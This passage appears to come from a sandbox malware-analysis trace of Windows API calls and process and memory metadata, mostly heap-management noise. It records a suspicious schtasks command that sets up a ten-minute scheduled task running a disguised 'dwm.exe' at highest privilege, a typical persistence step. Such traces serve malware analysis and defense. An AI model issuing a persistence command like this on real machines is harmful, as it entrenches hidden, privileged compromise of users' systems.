Flags=0x0, BaseAddress=0x1f4ae8cac60) returned 1 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb670) returned 1 [0106.854] GetProcessHeap () returned 0x1f4ae8c0000 [0106.854] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb670) returned 0x20 [0106.855] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb670) returned 1 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caac0) returned 1 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caac0) returned 0xc [0106.855] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caac0) returned 1 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb430) returned 1 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb430) returned 0x20 [0106.855] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb430) returned 1 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cab80) returned 1 [0106.855] GetProcessHeap () returned 0x1f4ae8c0000 [0106.855] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cab80) returned 0xe [0106.856] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cab80) returned 1 [0106.857] GetProcessHeap () returned 0x1f4ae8c0000 [0106.857] GetProcessHeap () returned 0x1f4ae8c0000 [0106.857] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb520) returned 1 [0106.857] GetProcessHeap () returned 0x1f4ae8c0000 [0106.857] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb520) returned 0x20 [0106.857] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb520) returned 1 [0106.857] GetProcessHeap () returned 0x1f4ae8c0000 [0106.857] GetProcessHeap () returned 0x1f4ae8c0000 [0106.857] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caa00) returned 1 [0106.857] GetProcessHeap () returned 0x1f4ae8c0000 [0106.857] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caa00) returned 0x10 [0106.858] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caa00) returned 1 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8cb4c0) returned 1 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8cb4c0) returned 0x20 [0106.858] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8cb4c0) returned 1 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4890) returned 1 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4890) returned 0x18 [0106.858] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4890) returned 1 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9040) returned 1 [0106.858] GetProcessHeap () returned 0x1f4ae8c0000 [0106.858] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9040) returned 0x20 [0106.859] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9040) returned 1 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c91f0) returned 1 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c91f0) returned 0x20 [0106.859] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c91f0) returned 1 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9070) returned 1 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9070) returned 0x20 [0106.859] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9070) returned 1 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] GetProcessHeap () returned 0x1f4ae8c0000 [0106.859] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8ef0) returned 1 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8ef0) returned 0x20 [0106.860] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8ef0) returned 1 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4480) returned 1 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4480) returned 0x18 [0106.860] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4480) returned 1 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8e90) returned 1 [0106.860] GetProcessHeap () returned 0x1f4ae8c0000 [0106.860] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8e90) returned 0x20 [0106.861] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8e90) returned 1 [0106.861] GetProcessHeap () returned 0x1f4ae8c0000 [0106.861] GetProcessHeap () returned 0x1f4ae8c0000 [0106.861] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c90a0) returned 1 [0106.861] GetProcessHeap () returned 0x1f4ae8c0000 [0106.861] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c90a0) returned 0x20 [0106.861] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c90a0) returned 1 [0106.861] GetProcessHeap () returned 0x1f4ae8c0000 [0106.861] GetProcessHeap () returned 0x1f4ae8c0000 [0106.861] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9190) returned 1 [0106.861] GetProcessHeap () returned 0x1f4ae8c0000 [0106.861] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9190) returned 0x20 [0106.861] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9190) returned 1 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9160) returned 1 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9160) returned 0x20 [0106.862] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9160) returned 1 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c8ec0) returned 1 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c8ec0) returned 0x20 [0106.862] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c8ec0) returned 1 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.862] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c44a0) returned 1 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c44a0) returned 0x18 [0106.863] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c44a0) returned 1 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c9130) returned 1 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c9130) returned 0x20 [0106.863] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c9130) returned 1 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8c4ed0) returned 1 [0106.863] GetProcessHeap () returned 0x1f4ae8c0000 [0106.863] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8c4ed0) returned 0x18 [0106.863] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8c4ed0) returned 1 [0106.863] exit (_Code=0) Thread: id = 135 os_tid = 0x11fc Process: id = "7" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x457dd000" os_pid = "0x11e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2382 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2383 start_va = 0xd372b20000 end_va = 0xd372b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000d372b20000" filename = "" Region: id = 2384 start_va = 0xd372c00000 end_va = 0xd372dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000d372c00000" filename = "" Region: id = 2385 start_va = 0x277e1f30000 end_va = 0x277e1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e1f30000" filename = "" Region: id = 2386 start_va = 0x277e1f50000 end_va = 0x277e1f64fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e1f50000" filename = "" Region: id = 2387 start_va = 0x277e1f70000 end_va = 0x277e1f73fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e1f70000" filename = "" Region: id = 2388 start_va = 0x277e1f80000 end_va = 0x277e1f80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e1f80000" filename = "" Region: id = 2389 start_va = 0x277e1f90000 end_va = 0x277e1f91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e1f90000" filename = "" Region: id = 2390 start_va = 0x7df5ffdd0000 end_va = 0x7ff5ffdcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffdd0000" filename = "" Region: id = 2391 start_va = 0x7ff684c30000 end_va = 0x7ff684c52fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684c30000" filename = "" Region: id = 2392 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2393 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2397 start_va = 0x277e1fa0000 end_va = 0x277e21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e1fa0000" filename = "" Region: id = 2398 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2399 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2400 start_va = 0x277e1f30000 end_va = 0x277e1f3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e1f30000" filename = "" Region: id = 2401 start_va = 0x7ff684b30000 end_va = 0x7ff684c2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684b30000" filename = "" Region: id = 2402 start_va = 0x277e1fa0000 end_va = 0x277e205dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2403 start_va = 0x277e2100000 end_va = 0x277e21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e2100000" filename = "" Region: id = 2404 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2405 start_va = 0xd372e00000 end_va = 0xd372e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000d372e00000" filename = "" Region: id = 2406 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2407 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2408 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2409 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2410 start_va = 0x277e2200000 end_va = 0x277e230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e2200000" filename = "" Region: id = 2411 start_va = 0x277e1f40000 end_va = 0x277e1f46fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e1f40000" filename = "" Region: id = 2412 start_va = 0x277e2310000 end_va = 0x277e2452fff monitored = 0 entry_point = 0x277e2338210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2413 start_va = 0x277e2060000 end_va = 0x277e2066fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e2060000" filename = "" Region: id = 2414 start_va = 0x277e2070000 end_va = 0x277e2082fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2415 start_va = 0x277e2310000 end_va = 0x277e2646fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2417 start_va = 0x277e2200000 end_va = 0x277e22dcfff monitored = 0 entry_point = 0x277e225e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2418 start_va = 0x277e2300000 end_va = 0x277e230ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e2300000" filename = "" Region: id = 2419 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2420 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2421 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2422 start_va = 0x277e2090000 end_va = 0x277e20c8fff monitored = 0 entry_point = 0x277e20912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2423 start_va = 0x277e2650000 end_va = 0x277e27d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e2650000" filename = "" Region: id = 2424 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2425 start_va = 0x277e2090000 end_va = 0x277e2090fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e2090000" filename = "" Region: id = 2426 start_va = 0x277e20a0000 end_va = 0x277e20a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000277e20a0000" filename = "" Region: id = 2427 start_va = 0x277e27e0000 end_va = 0x277e2960fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e27e0000" filename = "" Region: id = 2428 start_va = 0x277e2970000 end_va = 0x277e3d6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e2970000" filename = "" Region: id = 2429 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2430 start_va = 0x277e20b0000 end_va = 0x277e20b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e20b0000" filename = "" Region: id = 2431 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2432 start_va = 0x277e20c0000 end_va = 0x277e20c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000277e20c0000" filename = "" Region: id = 2433 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2434 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2435 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 136 os_tid = 0x1214 [0107.267] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0107.267] __set_app_type (_Type=0x1) [0107.267] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0107.267] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0107.267] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0107.267] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0107.267] CsrIdentifyAlertableThread () returned 0x0 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104a60 [0107.268] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.268] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0107.268] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0107.268] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0107.268] RtlVerifyVersionInfo (VersionInfo=0xd372b9f6e0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104a80 [0107.268] lstrlenW (lpString="") returned 0 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x2) returned 0x277e2104aa0 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2104410 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104440 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2104460 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2104490 [0107.268] GetProcessHeap () returned 0x277e2100000 [0107.268] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2104000 [0107.269] GetProcessHeap () returned 0x277e2100000 [0107.269] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2104030 [0107.269] GetProcessHeap () returned 0x277e2100000 [0107.269] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104060 [0107.269] GetProcessHeap () returned 0x277e2100000 [0107.269] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108aa0 [0107.269] GetProcessHeap () returned 0x277e2100000 [0107.269] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108c80 [0107.269] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108b60 [0107.270] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108cb0 [0107.270] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x18) returned 0x277e2104080 [0107.270] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108b30 [0107.270] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108ce0 [0107.270] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108b90 [0107.270] GetProcessHeap () returned 0x277e2100000 [0107.270] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108d10 [0107.270] SetThreadUILanguage (LangId=0x0) returned 0x409 [0107.272] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108d70 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108a40 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108c50 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108a70 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e2108bc0 [0107.272] GetProcessHeap () returned 0x277e2100000 [0107.272] 